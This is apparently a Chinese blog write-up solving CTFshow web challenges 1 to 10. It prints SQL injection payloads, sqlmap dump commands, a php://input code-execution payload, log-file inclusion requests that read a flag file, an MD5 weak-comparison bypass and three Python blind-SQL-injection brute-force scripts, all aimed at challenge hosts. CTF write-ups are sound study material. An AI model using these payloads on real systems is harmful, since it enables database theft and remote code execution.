CTFshow Web1-10

沐笙笙笙

于 2025-03-22 11:15:49 发布

阅读量1k

点赞数 22

文章标签： oracle 数据库

本文链接：https://blog.youkuaiyun.com/2301_80109771/article/details/146403536

版权

web1：

直接查看源代码，发现有一串Base64字符，直接丢到CaptfEncoder或者随波逐流解码。（需要软件的可以联系博主）

web2：

个人思路与笔记：首先用万能密码试试，查看有无回显，admin' or 1=1 #成功登陆。

admin' or 1=1 order by 3# admin' or 1=1 order by 4#（页面登陆失败）

判断出字段为3 admin' or 1=1 union select 1,2,3 #（发现‘2’处有回显）

admin' or 1=1 union select 1,database(),3 #（得到数据库名）

admin' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'web2'#（得到表名 flag）

admin' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'flag'# （得到列名 flag）

admin' or 1=1 union select 1,(select group_concat(flag) limit 0,1),3 from flag # 得到flag

web3：

直接bp抓包。伪造php伪协议

直接右键发送到Repeater

添加/url=php://input和POST请求体输入<?php system("ls")?>

在Response看到ctf_go_go_go,url输入这串字符先下载

notepad打开即可查看到flag

web4：

GET /?url=file:///var/log/nginx/access.log111222 HTTP/1.1 Host: 413ac39c-a6ad-4c20-ab90-b15a62a315eb.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1

GET /?url=file:///var/log/nginx/access.log&aaa=cat+/var/www/flag.txt HTTP/1.1 Host: 413ac39c-a6ad-4c20-ab90-b15a62a315eb.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1

web5：

这一关是md5加密漏洞，两个参数，一个限制只能为字母，一个只能为数字或数字+字母，最后两个md5加密后还要相等，因此可以用md5弱类型比较0e绕过，v1=QNKCDZO,v2=240610708

代码含义为v1为纯字母，v2为纯数字，二个md5值相等，出现flag，0e绕过构造payload ?v1=QNKCDZO&v2=240610708，v1参数是全字母，v2参数是全数字比较md5相同得到flag

web6：

直接SQLmap -u https://c26f8b85-d3c8-46c4-84c2-74424efdd2fc.challenge.ctf.show/index.php --data="username=1&password=1"

sqlmap.py -u https://c26f8b85-d3c8-46c4-84c2-74424efdd2fc.challenge.ctf.show/index.php --data="username=1&password=1" --level=4 --tamper="space2comment.py" --batch -D web2 -T flag -C flag --dump

把链接复制一下就行。

web7：

https://8e0255be-60aa-4b19-9a50-3846c3fc74ee.challenge.ctf.show/?id=1,注入类型为数字型注入

?id=1//union//select//1,2,group_concat(table_name)//from//information_schema.tables//where//table_schema=database()%23 flag,page,user ?

https://8e0255be-60aa-4b19-9a50-3846c3fc74ee.challenge.ctf.show/

两种方法慢慢试

web8：获取数据表名

"""
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"  # 待测试字符
url = "http://8df7bda6-10f3-4502-8122-ace59a3de789.challenge.ctf.show/index.php"  # 题目地址

for n in range(0, 2):  # 爆破前两个表
    table_name = ''
    for i in range(1, 10):  # 爆破数据表名的前十位（我们猜测该表名长度低于十位）
       for char in chars:  # 测试每一个待测字符
          params = {
             "id":
                "-1/**/or/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/in/**/(database())/**/limit/**/1/**/offset/**/" + str(
                   n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
          }
          r = requests.get(url=url, params=params)
          # print(r.request.url)
          if "If" in r.text:
             table_name += char
    print(table_name)
"""

获取字段名
"""
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://8df7bda6-10f3-4502-8122-ace59a3de789.challenge.ctf.show/index.php"

for n in range(0, 1):
    table_name = ''
    for i in range(1, 10):
       for char in chars:
          params = {
             "id":
                "-1/**/or/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/in/**/(0x666c6167)/**/limit/**/1/**/offset/**/" + str(
                   n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
          }
          r = requests.get(url=url, params=params)
          # print(r.request.url)
          if "If" in r.text:
             table_name += char
    print(table_name)
"""

获取字段值
import requests

chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://8df7bda6-10f3-4502-8122-ace59a3de789.challenge.ctf.show/index.php"

for n in range(0, 1):
    table_name = ''
    for i in range(1, 50):
       for char in chars:
          params = {
             "id":
                "-1/**/or/**/ord(mid((select/**/flag/**/from/**/flag/**/limit/**/1/**/offset/**/" + str(
                   n) + ")/**/from/**/" + str(i) + "/**/for/**/1))/**/in/**/(" + str(ord(char)) + ")"
          }
          r = requests.get(url=url, params=params)
          # print(r.request.url)
          if "If" in r.text:
             table_name += char
    print(table_name)